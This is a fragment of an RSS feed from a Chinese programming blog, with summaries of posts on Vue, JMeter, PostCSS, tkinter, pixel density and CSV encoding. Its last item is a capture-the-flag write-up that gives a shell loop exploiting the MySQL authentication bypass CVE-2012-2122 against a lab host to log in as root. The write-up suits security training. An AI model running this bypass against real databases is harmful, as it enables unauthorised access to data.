      <pubDate>Fri, 04 Mar 2022 13:55:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e8f67b4c021f16ebfd8fbbfe4e727b48/</guid>
      <description>1.在data中定义一个变量，存储时间&#xA;data(){ return { nowTime:&#39;&#39; } }, 2.给定一个div&#xA;&amp;lt;div&amp;gt;{{nowTime}}&amp;lt;/div&amp;gt; 3.js部分 调用nowTimes&#xA;//显示当前时间（年月日时分秒） timeFormate(timeStamp) { let year = new Date(timeStamp).getFullYear(); let month =new Date(timeStamp).getMonth() + 1 &amp;lt; 10? &#34;0&#34; + (new Date(timeStamp).getMonth() + 1): new Date(timeStamp).getMonth() + 1; let date =new Date(timeStamp).getDate() &amp;lt; 10? &#34;0&#34; + new Date(timeStamp).getDate(): new Date(timeStamp).getDate(); let hh =new Date(timeStamp).getHours() &amp;lt; 10? &#34;0&#34; + new Date(timeStamp).getHours(): new Date(timeStamp).getHours(); let mm =new Date(timeStamp).getMinutes() &amp;lt; 10? &#34;0&#34; + new Date(timeStamp).</description>
    </item>
    <item>
      <title>配备Apple T2 安全芯片的 Mac 机型及T2芯片mac电脑U盘装系统教程</title>
      <link>https://bchobby.github.io/posts/175faecf14051dc75e98856bfb6e9cc0/</link>
      <pubDate>Fri, 04 Mar 2022 11:53:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/175faecf14051dc75e98856bfb6e9cc0/</guid>
      <description>T2 芯片为 Mac 提供了一系列功能，例如加密储存和安全启动功能、增强的图像信号处理功能，以及适用于触控 ID 数据的安全保护功能。哪些电脑配备了 T2 安全芯片呢，T2芯片mac电脑又如何重装系统呢？跟随小编一起来看看吧！&#xA;配备 Apple T2 安全芯片的电脑&#xA;下列 Mac 配备 Apple T2 安全芯片：&#xA;iMac（视网膜 5K 显示屏，27 英寸，2020 年）&#xA;iMac Pro&#xA;Mac Pro（2019 年）&#xA;Mac Pro（机架式机型，2019 年）&#xA;Mac mini（2018 年）&#xA;MacBook Air（视网膜显示屏，13 英寸，2020 年）&#xA;MacBook Air（视网膜显示屏，13 英寸，2019 年）&#xA;MacBook Air（视网膜显示屏，13 英寸，2018 年）&#xA;MacBook Pro（13 英寸，2020 年，两个雷雳 3 端口）&#xA;MacBook Pro（13 英寸，2020 年，四个雷雳 3 端口）&#xA;MacBook Pro（16 英寸，2019 年）&#xA;MacBook Pro（13 英寸，2019 年，两个雷雳 3 端口）&#xA;MacBook Pro（15 英寸，2019 年）</description>
    </item>
    <item>
      <title>Jmeter监控服务器性能</title>
      <link>https://bchobby.github.io/posts/41279c937e7f18c9a7c6829d8dd0981f/</link>
      <pubDate>Fri, 04 Mar 2022 11:41:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/41279c937e7f18c9a7c6829d8dd0981f/</guid>
      <description>这篇文章主要讲的是jmeter通过插件去监控服务器的性能参数,来帮助我们分析系统性能.&#xA;也可以通过prometheus去监控:docker+jmeter+prometheus+grafana入门实战,需要的可以自行去查看哦!&#xA;1.下载需要的Jmeter插件 jmeter监控服务器的性能参数,如CPU、内存、IO等,都是需要去下载插件的.&#xA;JMeterPlugins-Extras-1.4.0.zip和JMeterPlugins-Standard-1.4.0.zip可以在此链接中下载:https://jmeter-plugins.org/downloads/old&#xA;ServerAgent-2.2.3可以在下面链接中自取&#xA;链接：https://pan.baidu.com/s/1lC_HlGfOgPNvIbRjK9Kltg&#xA;提取码：6s7z&#xA;2.配置jmeter 把两个插件解压,拿到里面的.jar文件放在你的jmeter的安装目录的\lib\ext下&#xA;重启你的jmeter,如果能看到图片中的内容说明配置成功了&#xA;3.将监控服务器的ServerAgent拷贝到需监测的服务器 这里我是用工具(MobaXterm)直接把文件拖上自己的云服务的,下面讲弄上云服务后的操作:&#xA;# 进入ServerAgent目录中 cd ServerAgent-2.2.3/ # 给startAgent.sh设置权限 chmod 777 startAgent.sh # 执行./startAgent.sh文件 ./startAgent.sh 注意:&#xA;1.如果你的4444端口被占用了这里就不会成功哦,你需要关闭占用的4444端口&#xA;2.因为我用的是阿里云,所以需要在阿里云后台配置安全组,把4444端口开放出来,不然无法实现监听,其他云服务同理&#xA;4.安装的组件介绍 jp@gc - Bytes Throughput Over Time:不同时间吞吐量展示（图表）&#xA;聚合报告里，Throughput是按请求个数来展示的，比如说1.9/sec，就是每s发送1.9个请求；而这里的展示是按字节Bytes来展示的图表jp@gc - Composite Graph： 混合图表&#xA;在它的Graphs里面可以设置多少个图表一起展示，它可以同时展示多个图表jp@gc - Hits per Second：每秒点击量jp@gc - PerfMon Metrics Collector：服务器性能监测控件，包括CPU，Memory，Network，I/O等等jp@gc - Reponse Latencies Over Time：记录客户端发送请求完成后，服务器端返回请求之前这段时间jp@gc - Reponse Times Distribution： 显示测试的响应时间分布，X轴显示由时间间隔分组的响应时间，Y轴包含每个区间的样本数jp@gc - Transactions per Second： 每秒事务数，服务器每秒处理的事务数jp@gc - Reponse Times vs Threads：展示事务响应时间与虚拟用户数之前的对应关系 5.</description>
    </item>
    <item>
      <title>vue Syntax Error Error PostCSS plugin postcss-pxtorem requires PostCSS 8</title>
      <link>https://bchobby.github.io/posts/54955e2c45fc5587751295a790192651/</link>
      <pubDate>Thu, 03 Mar 2022 23:19:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/54955e2c45fc5587751295a790192651/</guid>
      <description>vue Syntax Error: Error: PostCSS plugin postcss-pxtorem requires PostCSS 8. Migration guide for end-users: 关于脚手架生成项目,配置自适应postcss-pxtorem配置报错&#xA;首先你在.postcssrc.js文件正常配置(详细配置)&#xA;module.exports = { plugins: { // 兼容浏览器，添加前缀 autoprefixer: { overrideBrowserslist: [ &#34;Android 4.1&#34;, &#34;iOS 7.1&#34;, &#34;Chrome &amp;gt; 31&#34;, &#34;ff &amp;gt; 31&#34;, &#34;ie &amp;gt;= 8&#34;, &#34;last 10 versions&#34;, // 所有主流浏览器最近10版本用 ], grid: true, }, &#34;postcss-pxtorem&#34;: { rootValue: 37.5, //结果为：设计稿元素尺寸/16，比如元素宽320px,最终页面会换算成 20rem propList: [&#34;*&#34;], //是一个存储哪些将被转换的属性列表，这里设置为[&#39;*&#39;]全部，假设需要仅对边框进行设置，可以写[&#39;*&#39;, &#39;!border*&#39;] unitPrecision: 5, //保留rem小数点多少位 //selectorBlackList: [&#39;.radius&#39;], //则是一个对css选择器进行过滤的数组，比如你设置为[&#39;fs&#39;]，那例如fs-xl类名，里面有关px的样式将不被转换，这里也支持正则写法。 replace: true, //这个真不知到干嘛用的。有知道的告诉我一下 mediaQuery: false, //媒体查询( @media screen 之类的)中不生效 minPixelValue: 12, //px小于12的不会被转换 }, }, }; 也可以这样(简单一点)</description>
    </item>
    <item>
      <title>如何修改vant中DropdownMenu组件选中后的样式</title>
      <link>https://bchobby.github.io/posts/ef903ba0389d75d6a0587fbc2ff979ee/</link>
      <pubDate>Thu, 03 Mar 2022 23:03:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ef903ba0389d75d6a0587fbc2ff979ee/</guid>
      <description>我们想要实现如下效果：选中下拉选项中的某一项后想让选中项的字体变色。&#xA;vant组件中只有选择过程中效果：&#xA;但选中之后字体又变成黑色呢。如何设置成想要的颜色呢？&#xA;我们发现这里有个title-class,标题额外类名。&#xA;同时我们可以通过审查元素发现vant中选中后多了下面的.van-dropdown-item__option–active类：&#xA;所以我们这里有一个很好的实现思路：&#xA;将title-class设置为van-dropdown-item__option–active。同时用一个变量控制是否为van-dropdown-item__option–active or “”(空的)。使用常用的三目运算就可以实现。&#xA;注：若有多个分组，如有区域、美食类型等等，我们可以分别给每项绑定不同的变量来控制是否使用van-dropdown-item__option–active类。</description>
    </item>
    <item>
      <title>Python grid布局</title>
      <link>https://bchobby.github.io/posts/f477a694c483549aadbf87155feddce4/</link>
      <pubDate>Thu, 03 Mar 2022 21:26:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f477a694c483549aadbf87155feddce4/</guid>
      <description>1. 使⽤ grid 布局的时候,我们使⽤ grid 函数,在⾥⾯指 定两个参数,⽤ row 表示⾏，⽤ column 表示列，注意的是 row 和 column 的编号都从 0 开始。&#xA;2. grid 函数还有个 sticky 参数,它可以⽤ N,S,W,E 表示 上,下,左,右 , 它决定了这个组件是从哪个⽅向开始的。&#xA;3. grid 布局直接⽤后⾯的⾏和列的数字来指定了它位于哪个位置,⽽不必使⽤其他参数。&#xA;4. grid 函数也⽀持诸如 ipadx,ipady,padx,pady ,它们的意思和 pack 函数是⼀样的,默认边距是 0。&#xA;5. 它还⽀持参数⽐如 rowspan ,表示跨越的⾏数, columnspan 表示跨越的列数&#xA;测试代码如下：&#xA;from tkinterimport *&#xA;window = Tk()&#xA;window.title(“grid 布局测试”)&#xA;Label(window, text=“Name:”).grid(row=0, sticky=W)&#xA;Entry(window).grid(row=0, column=1, sticky=E)&#xA;Label(window, text=“Password:”).grid(row=1, sticky=W)&#xA;Entry(window).grid(row=1, column=1, sticky=E)&#xA;Button(window, text=“Login”).grid(row=2, column=1, sticky=E)</description>
    </item>
    <item>
      <title>IDEA开发工具的使用</title>
      <link>https://bchobby.github.io/posts/d363a9e252b0c68146dd67815d9115cb/</link>
      <pubDate>Thu, 03 Mar 2022 15:50:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d363a9e252b0c68146dd67815d9115cb/</guid>
      <description>下载完成之后，开始安装。&#xA;安装路径不能有中文和空格。&#xA;这里是免费试用&#xA;建立项目：&#xA;建立模块：&#xA;关联JDK，一般自带，如果没有自带，就要手动选择。&#xA;然后为模块命名。&#xA;然后建包&#xA;一般是用域名，并且是倒着写，最好用英文小写。&#xA;然后在包里面建一个类&#xA;直接输入 main 回车就会自动补全&#xA;直接输入 System 回车，又可以自动补全。&#xA;编译，直接右键运行&#xA;总结：&#xA;IDEA字体、主题、背景色设置&#xA;背景色：&#xA;护眼的颜色 豆沙绿&#xA;IDEA常用快捷键&#xA;删除类文件&#xA;修改类文件名&#xA;修改模块&#xA;选第三个 模块名和磁盘名一起改。&#xA;导入模块&#xA;关联导入：缺点是一旦关联的模块删除，就无法打开。&#xA;在黑点的地方导入，不能直接选择主目录&#xA;以下方法导入模块不会丢失&#xA;此模块就放在工程下面&#xA;然后回到需要导入的模块&#xA;直接ctrl+C 拷贝&#xA;然后回到模块，Ctrl+V粘贴&#xA;删除模块&#xA;此方法只是在界面删除，不是真正的删除，文件还是没有删除。&#xA;彻底删除，直接到工程目录下，直接删除。&#xA;这样也可以真正的删除，然后重新启动IDEA&#xA;打开工程&#xA;工程，可以直接关闭IDEA，或者右键关闭。&#xA;本文通过B站“黑马程序员”所发布的JAVA视频学习记录的笔记，不作为任何商业行为，仅作为知识分享。</description>
    </item>
    <item>
      <title>Silane-PEG-NHS，SIL-PEG-NHS，可以用来修饰蛋白质、多肽以及其他活性基团，NHS-PEG-Silane</title>
      <link>https://bchobby.github.io/posts/25b8dc1871d61f2c5f9469b0b574097b/</link>
      <pubDate>Thu, 03 Mar 2022 11:32:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/25b8dc1871d61f2c5f9469b0b574097b/</guid>
      <description> 英文名称：Silane-PEG-NHS&#xA;中文名称：硅烷-聚乙二醇-活性酯&#xA;分子量：1k，2k，3.4k，5k，10k，20k（可按需定制）&#xA;质量控制：95%+&#xA;存储条件：-20°C，避光，避湿&#xA;用 途：仅供科研实验使用，不用于诊治&#xA;外观: 固体或粘性液体，取决于分子量&#xA;注意事项：取用一定要干燥，避免频繁的溶解和冻干&#xA;溶解性：溶于大部分有机溶剂，如：DCM、DMF、DMSO、THF等等。在水中有很好的溶解性&#xA;取用：现配现用，将包装从冰箱中取出，置于干燥器中缓慢升至室温，打开瓶盖，取用。取用后充入惰性气体，封口膜封口，拧紧瓶盖装入自封袋，及时放入冰箱。&#xA;供应商：西安凯新生物科技有限公司&#xA;结构式：&#xA;Silane-PEG-NHS是硅烷偶联剂（PEG衍生物）的一种，他可以和无机材料(玻璃、金属、SiO2)等发生偶联反应。通过使用硅烷偶联剂，可在无机物质和有机物质的界面之间架起“分子桥”，把两种性质悬殊的材料连接在一起提高复合材料的性能和增加粘接强度的作用。硅烷偶联剂的这一特性早应用于玻璃纤维增强塑料（玻璃钢）上，作玻璃纤维的表面处理剂，使玻璃钢的机械性能、电学性能和抗老化性能得到很大的提高。活性酯（NHS）PH7-8.5与伯胺基团反应形成稳定的酰胺键。通过PEG连接的硅烷偶联剂具有很好的水溶性。&#xA;硅烷PEG活性酯（SILANE -PEG-NHS）可以用来修饰蛋白质、多肽以及其他活性基团材料或者小分子。活性酯(-NHS)能与氨基（-NH2）反应的PEG衍生物，在PH7-8.5与伯胺基团反应形成稳定的酰胺键。聚乙二醇(-PEG-)可以增加溶解度和稳定性。减少多肽和蛋白质的***原性，它也能抑制带电分子在修饰表面的非特异性结合。&#xA;技术指标：&#xA;纯度（PEG）：95%以上&#xA;取代率（NHS）：95%以上&#xA;取代率（SILANE）：95%以上&#xA;分散系数（PDI）：小于等于1.05&#xA;分析：COA、GPC、NMR、MALDI-TOF&#xA;其他相关产品：&#xA;AC-PEG-Silane,MW 1k&#xA;AC-PEG-Silane,MW 2k&#xA;AC-PEG-Silane,MW 3.4k&#xA;AC-PEG-Silane,MW 5k&#xA;AC-PEG-Silane,MW 10k&#xA;mPEG-Silane,MW 5k&#xA;mPEG-Silane,MW 2k&#xA;mPEG-Silane,MW 1k&#xA;mPEG-Silane,MW 30k&#xA;mPEG-Silane,MW 20k&#xA;MAL-PEG-Silane,MW 1k&#xA;MAL-PEG-Silane,MW 2k&#xA;MAL-PEG-Silane,MW 3.4k&#xA;MAL-PEG-Silane,MW 5k&#xA;MAL-PEG-Silane,MW 10k&#xA;以上信息由西安凯新生物科技有限公司为您提供，如需了解详细信息请联系！！！ </description>
    </item>
    <item>
      <title>DruidDatasource取消失败后无限重试</title>
      <link>https://bchobby.github.io/posts/49e1d3901b427b4ee4d25a66e692acdc/</link>
      <pubDate>Thu, 03 Mar 2022 09:29:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/49e1d3901b427b4ee4d25a66e692acdc/</guid>
      <description> DruidDatasource默认是无限自动重试，可能导致程序卡死。&#xA;处理方式如下：&#xA;DruidDataSource druidDataSource = new DruidDataSource(); druidDataSource.setUrl(jdbcUrl); druidDataSource.setUsername(username); druidDataSource.setPassword(password); // 失败后重连的次数 druidDataSource.setConnectionErrorRetryAttempts(3); // 请求失败之后中断 druidDataSource.setBreakAfterAcquireFailure(true); </description>
    </item>
    <item>
      <title>移动端布局(一)dp、dip、PPI、dpr、图片模糊</title>
      <link>https://bchobby.github.io/posts/f20ff7f034eff42bc12493bae20b0330/</link>
      <pubDate>Wed, 02 Mar 2022 22:02:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f20ff7f034eff42bc12493bae20b0330/</guid>
      <description>注: 此篇文章引用多篇文章，在文章的结尾处有注明文章的来源&#xA;高清屏 即高清屏,把更多的像素压缩至一块屏幕里，从而达到更高分辨率显示的细腻程度，使人眼无法分辨出单个的像素。&#xA;物理像素(dp) 物理像素，设备的硬件像素，生产出来就已经设定好了的真实像素，不能被改变。是计算机屏幕渲染画面(图像)的最小单位，整个图像是由像素单位组成的，这个单位的形状通常都是会发光的正方形方格，&#xA;在相同尺寸屏幕中，像素点越多，像素点就越小就越清晰(因为你在该屏幕内容纳更多的像素，像素点自然会缩小)，像素点越少，像素点就越大，图像就不清晰，因为你都能看到像素点的锯齿状。&#xA;分辨率指的就是水平垂直方向上像素点的数量，比如1920*1080表示屏幕水平方向上有1920个像素点，垂直方向上有1080个像素点。&#xA;css像素 网页中，用于控制元素样式的像素，它也属于独立像素，浏览器在显示页面时，需要将css像素转为物理像素在呈现。&#xA;设备独立像素(dip) 也叫虚拟像素、逻辑像素，是我们程序软件里使用的像素，它是相对于物理像素来计算的，表示一个物理像素由多少个逻辑像素来表示，也就是说可以人为的定义让1个独立像素等于多少个物理像素。&#xA;注：在我们的浏览器中css像素就是独立像素&#xA;为什么要有设备独立像素呢?&#xA;在早期普通屏中，只有物理像素，没有独立像素，在不缩放的情况下，1个css像素就是1个物理像素，比如iphone3手机屏幕是320 * 480px的分辨率，那么width等于320px的元素是占满整个屏幕的。从iphone4开始苹果公司推出了高清屏，分辨率变成640 * 960px，也就是普通屏一个像素点有高清屏两个像素点那么大，因为相同尺寸的屏幕要放满640 * 960px的像素，只能是将像素点面积缩小1倍，如果还按照1物理像素就是1个css像素来渲染图像，那么width等于320px的元素只会占据屏幕宽度的一半，如何让iphone4和iphone3显示相同呢? 在开发中为了让不同设备上有一样的显示效果，就引入了独立像素，让网页中css像素成为独立像素，在iphone3中不变1个css像素就是1个物理像素，但是 在iphone4上，在不缩放的前提下，1个css像素等于2个物理像素，这样iphone4中width等于320px的元素等于640个物理像素，正好占满iphone4的宽度， font-size: 20px; 的字体在 iphone3 和 iphone4 上的尺寸也相同，只不过在 iphone4 上的字体更清楚。&#xA;还有一个因素会引起css中px的变化，那就是用户缩放。例如当用户把页面放大一倍，css像素不会变，但是css中1px所代表的物理像素也会增加一倍，反之把页面缩小一倍，css中1px所代表的物理像素也会减少一倍。&#xA;该段文字引用于https://blog.csdn.net/weixin_30301449/article/details/96200494&#xA;设备像素比(DevicePixelRatio): DPR = (设备像素dp / 独立像素dip)*scale(表示缩放大小为百分之几)，物理像素和独立像素的比例，表示由一个物理像素由多少个css像素来表示。&#xA;在iphone4上dpr是2，但不是所有设备都是2，不同设备的dpr都是不同的。&#xA;下列展示了不通过设备物理像素和逻辑像素的关系。&#xA;像素密度(PPI): 表示每英寸面积内像素的数量(疏密程度),PPI是一个定值，是一个固定参数，PPI的值越高，表示在一定尺寸的屏幕上像素数量越多。&#xA;PPI的计算公式: 屏幕边的物理像素除以物理尺寸&#xA;图片模糊 同一张图片，在普通屏显示正常，但在高清屏出现模糊。原因是一个物理像素的点分成了四个像素的点进行显示。&#xA;1个位图像素是栅格图像(如：png, jpg, gif等)最小的数据单元。每一个位图像素都包含着一些自身的显示信息(如：显示位置，颜色值，透明度等)。理论上，1个位图像素对应于1个物理像素，图片才能得到完美清晰的展示。&#xA;1个位图像素对应于4个物理像素，由于单个位图像素不可以再进一步分割，所以只能就近取色，导致图片看起来比较模糊。&#xA;当1个位图像素占据少于1个物理像素(压缩图像)，图片就会锐化。&#xA;假设我有一张图片，图片素材尺寸为200 * 200的位图像素，我们设置css:width为200px,height为200px；在ipnone3上图片渲染为200px * 200px的位图像素是清晰的，但是在高清屏iphone4上图片渲染为400px * 400px，由于位图像素不能分裂，哪多出来的200像素怎么生成，于是只能使用线性插值算法，颜色近似选取(选择相似的颜色填充像素块)，于是图片就模糊了。&#xA;位图: 由多个像素点组成的点阵图像。&#xA;缩小图像(压缩图片):&#xA;称为下采样（subsampled）或降采样（downsampled）的主要目的是两个：&#xA;使得图像符合显示区域的大小；&#xA;生成对应图像的缩略图；&#xA;下采样的原理：&#xA;对于一幅图像尺寸为MN，对其进行s倍的下采样，即得到（M/s）（N/s）尺寸的分辨率图像，当然，s应该是M和N的公约数才可以，如果考虑是矩阵形式的图像，就是把原始图像s*s窗口内的图像变成一个像素，这个像素点就是窗口内所有像素的均值 Pk = (∑ Xi)/ S^2</description>
    </item>
    <item>
      <title>在vue前端下载csv用excel打开是乱码的问题解决方案</title>
      <link>https://bchobby.github.io/posts/381759d56accf9fcdc89d06f5f071d7f/</link>
      <pubDate>Wed, 02 Mar 2022 21:48:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/381759d56accf9fcdc89d06f5f071d7f/</guid>
      <description>背景 前端下载csv文件，Excel打开乱码的问题。&#xA;前端下载代码很简单，利用HTML5的blob接口生成前端下载链接，实现下载。&#xA;那问题出在哪里呢？读入的文件是utf-8格式，下载下来Excel打开乱码，但是用其他编辑器打开并不是乱码，一开始解决问题的思路是，下载文件的时候，是不是没有指定编码方式，导致文件编码方式不对，于是乎使用了Blob里的type参数，硬塞了一个类型以及编码方式，但是这种方法似乎并不管用，仔细读了官方文档之后，关于type的解读如下：&#xA;type，默认值为 “”，它代表了将会被放入到blob中的数组内容的MIME类型。&#xA;这里明确表明，此type只是一个类型标记，并不会起到转码的作用，想想也是，blob仅仅是内存里开辟的0，1代码，怎么可能在下载的过程中去解码编码呢？&#xA;后来逛遍大谷歌，发现这其实是微软家的坑，微软家发明了一个东西叫bom头，关于bom头：&#xA;https://www.cnblogs.com/sparkdev/p/5676654.html&#xA;这个恶心的bom头，微软系产品类似Excel会先识别该bom头，然后才能认识你，而针对csv格式文件，Excel又格外不友好。一些列手把手指导如何使用Excel打开，导入，导出csv格式文件的文章网上一大堆，那这里，我们的解决方法是给你加一个你认识的bom头，那你总能识别了吧。&#xA;解决方法 因此我们通过blob新建下载url的时候，加一个bom头编码：&#xA;window.URL.createObjectURL(new Blob([&#39;\uFEFF&#39; + content])) 再无乱码！&#xA;参考&#xA;https://stackoverflow.com/questions/18925210/download-blob-content-using-specified-charset&#xA;https://stackoverflow.com/questions/38508064/url-createobjecturl-and-charset-utf-8&#xA;作者：lolivialucky&#xA;链接：https://www.jianshu.com/p/c330a911d6f5&#xA;来源：简书&#xA;著作权归作者所有。商业转载请联系作者获得授权，非商业转载请注明出处。</description>
    </item>
    <item>
      <title>Vuejs之axios获取Http响应头，flask后端返回csv文件，获取不到文件名</title>
      <link>https://bchobby.github.io/posts/d5e073d6963b7eb920f17fce7a83b803/</link>
      <pubDate>Wed, 02 Mar 2022 21:40:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d5e073d6963b7eb920f17fce7a83b803/</guid>
      <description>今天在开始接入后端Api 就遇到了一个问题了&#xA;在用 axios 获取 respose.headers时候获取到的只有的&#xA;content-length: 61554 content-type: &#34;text/csv&#34; 下面是服务器返回的响应头， 我需要拿到的是 Content-Disposition&#xA;原来在默认的请求上， 浏览器只能访问以下默认的 响应头&#xA;Cache-Control&#xA;Content-Language&#xA;Content-Type&#xA;Expires&#xA;Last-Modified&#xA;Pragma&#xA;如果想让浏览器能访问到其他的 响应头的话 需要在服务器上设置Access-Control-Expose-Headers&#xA;response.headers[&#34;access-control-expose-headers&#34;] = &#34;Content-disposition&#34; 前端成功获取Authorization</description>
    </item>
    <item>
      <title>Vue基础知识总结 7：插槽slot与vue导入导出</title>
      <link>https://bchobby.github.io/posts/4e9025b5a8fac42608e582ea88af8e87/</link>
      <pubDate>Wed, 02 Mar 2022 20:06:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4e9025b5a8fac42608e582ea88af8e87/</guid>
      <description>🍅 作者简介：哪吒，CSDN2021博客之星亚军🏆、新星计划导师✌、博客专家💪&#xA;🍅 哪吒多年工作总结：Java学习路线总结，搬砖工逆袭Java架构师&#xA;🍅 关注公众号【哪吒编程】，回复1024，获取Java学习路线思维导图、大厂面试真题、加入万粉计划交流群、一起学习进步&#xA;目录&#xA;一、插槽slot&#xA;二、插槽代码实例&#xA;三、具名插槽的使用&#xA;四、作用域&#xA;五、作用域插槽&#xA;六、前端代码复杂带来的问题&#xA;1、js脚本语言&#xA;2、前后端分离开发&#xA;3、匿名函数的解决方案&#xA;4、常见的模块化规范&#xA;七、CommonJS&#xA;1、CommonJS导出&#xA;2、CommonJS导入&#xA;八、ES6导入导出&#xA;1、index.html&#xA;2、aaa.js&#xA;3、bbb.js&#xA;4、mmm.js&#xA;一、插槽slot 插槽slot会使代码更有扩展性；&#xA;插槽slot也就是预留一些空间；&#xA;如何封装京东标头类似的组件呢？&#xA;它们有很多区别，但是有很多共性；如果每一个单独封装一个组件，显然不合适，比如每个页面都返回，这部分内容我们就要重复去封装；但是，如果我们封装成一个，好像也不合理，有些左侧是菜单，有些是返回，有些中间是搜索，有些是文字等等。 如何封装合适呢？&#xA;抽取共性，保留不同，不同的地方使用插槽slot。&#xA;最好的封装方式就是将共性抽取到组件中，将不同暴露为插槽；一旦我们预留了插槽，就可以让使用者根据自己的需求，决定插槽中输入的内容；是搜索框，还是文字，还是菜单，由调用者自己决定； 二、插槽代码实例 &amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;title&amp;gt;Title&amp;lt;/title&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;!-- 1.插槽的基本使用 &amp;lt;slot&amp;gt;&amp;lt;/slot&amp;gt; 2.插槽的默认值 &amp;lt;slot&amp;gt;button&amp;lt;/slot&amp;gt; 3.如果有多个值, 同时放入到组件进行替换时, 一起作为替换元素 --&amp;gt; &amp;lt;div id=&#34;app&#34;&amp;gt; &amp;lt;cpn&amp;gt;&amp;lt;/cpn&amp;gt; &amp;lt;cpn&amp;gt;&amp;lt;span&amp;gt;哈哈哈&amp;lt;/span&amp;gt;&amp;lt;/cpn&amp;gt; &amp;lt;cpn&amp;gt;&amp;lt;i&amp;gt;呵呵呵&amp;lt;/i&amp;gt;&amp;lt;/cpn&amp;gt; &amp;lt;cpn&amp;gt; &amp;lt;i&amp;gt;呵呵呵&amp;lt;/i&amp;gt; &amp;lt;div&amp;gt;我是div元素&amp;lt;/div&amp;gt; &amp;lt;p&amp;gt;我是p元素&amp;lt;/p&amp;gt; &amp;lt;/cpn&amp;gt; &amp;lt;cpn&amp;gt;&amp;lt;/cpn&amp;gt; &amp;lt;cpn&amp;gt;&amp;lt;/cpn&amp;gt; &amp;lt;cpn&amp;gt;&amp;lt;/cpn&amp;gt; &amp;lt;cpn&amp;gt;&amp;lt;/cpn&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;template id=&#34;</description>
    </item>
    <item>
      <title>Vue基础知识总结 6：vue双向绑定原理</title>
      <link>https://bchobby.github.io/posts/bb3f58781ada02b2dafe6334a35ba02a/</link>
      <pubDate>Wed, 02 Mar 2022 20:06:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bb3f58781ada02b2dafe6334a35ba02a/</guid>
      <description>🍅 作者简介：哪吒，CSDN2021博客之星亚军🏆、新星计划导师✌、博客专家💪&#xA;🍅 哪吒多年工作总结：Java学习路线总结，搬砖工逆袭Java架构师&#xA;🍅 关注公众号【哪吒编程】，回复1024，获取Java学习路线思维导图、大厂面试真题、加入万粉计划交流群、一起学习进步&#xA;目录&#xA;一、前端代码初体验&#xA;1、代码实例&#xA;2、浏览器显示&#xA;二、根据异常改进&#xA;1、监听事件，反向赋值&#xA;2、代码实例&#xA;3、浏览器显示&#xA;三、联动修改num1的值&#xA;1、代码实例&#xA;2、浏览器显示&#xA;四、watch&#xA;五、通过$refs完成父访问子&#xA;需求分析：&#xA;通过输入框，双向绑定文本框显示。&#xA;一、前端代码初体验 1、代码实例 &amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;title&amp;gt;Title&amp;lt;/title&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;div id=&#34;app&#34;&amp;gt; &amp;lt;cpn :number1=&#34;num1&#34; :number2=&#34;num2&#34;/&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;template id=&#34;cpn&#34;&amp;gt; &amp;lt;div&amp;gt; &amp;lt;h2&amp;gt;{{number1}}&amp;lt;/h2&amp;gt; &amp;lt;input type=&#34;text&#34; v-model=&#34;number1&#34;&amp;gt; &amp;lt;h2&amp;gt;{{number2}}&amp;lt;/h2&amp;gt; &amp;lt;input type=&#34;text&#34; v-model=&#34;number2&#34;&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script src=&#34;../js/vue.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script&amp;gt; const app = new Vue({ el: &#39;#app&#39;, data: { num1: 1, num2: 0 }, components: { cpn: { template: &#39;#cpn&#39;, props: { number1: Number, number2: Number }, } } }) &amp;lt;/script&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; 2、浏览器显示 错误信息</description>
    </item>
    <item>
      <title>安鸾渗透实战平台——暴力破解(Mysql暴力破解 (200分)</title>
      <link>https://bchobby.github.io/posts/6c569c902b506fe29969c391ed7b195e/</link>
      <pubDate>Wed, 02 Mar 2022 16:34:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6c569c902b506fe29969c391ed7b195e/</guid>
      <description> 漏洞环境 安鸾渗透实战平台——暴力破解(Mysql暴力破解）&#xA;kali虚拟机&#xA;分析题目 1、从图上作者告诉我们要使用MySQL漏洞，最开始没明白是什么意思，去拿MSF的mysql爆破模块去测试了一下，得到密码，拿去使用时出现了问题&#xA;提示密码错误：&#xA;又试了几次发现每次爆破的密码都不一样&#xA;题目提示了，利用漏洞，以前有个MySQL的漏洞，这里直接使用linux的for循环去测试 Mysql 身份认证绕过漏洞（CVE-2012-2122）&#xA;当连接MariaDB/MySQL时，输入的密码会与期望的正确密码比较，由于不正确的处理，会导致即便是memcmp()返回一个非零值，也会使MySQL认为两个密码是相同的。 也就是说只要知道用户名，不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。&#xA;for i in `seq 1 1000`; do mysql -uroot -paaaaa -h 118.190.133.35 -P3308 ; done for : 利用linux的shell创造一个for循环&#xA;i : 循环的变量&#xA;seq 1 1000：表示循环是从1-1000&#xA;do：执行&#xA;mysql -uroot -paaaaa：mysql的登录命令，意思是用户名是root，密码是aaaaa&#xA;-h 118.190.133.35 -P3308：-h是IP ；-P是端口&#xA;done：表示循环结束&#xA;进去了，看一下表的信息，发现有个test&#xA;没有，看看whalwl把&#xA;use whalwl; show tables; select * from flag; 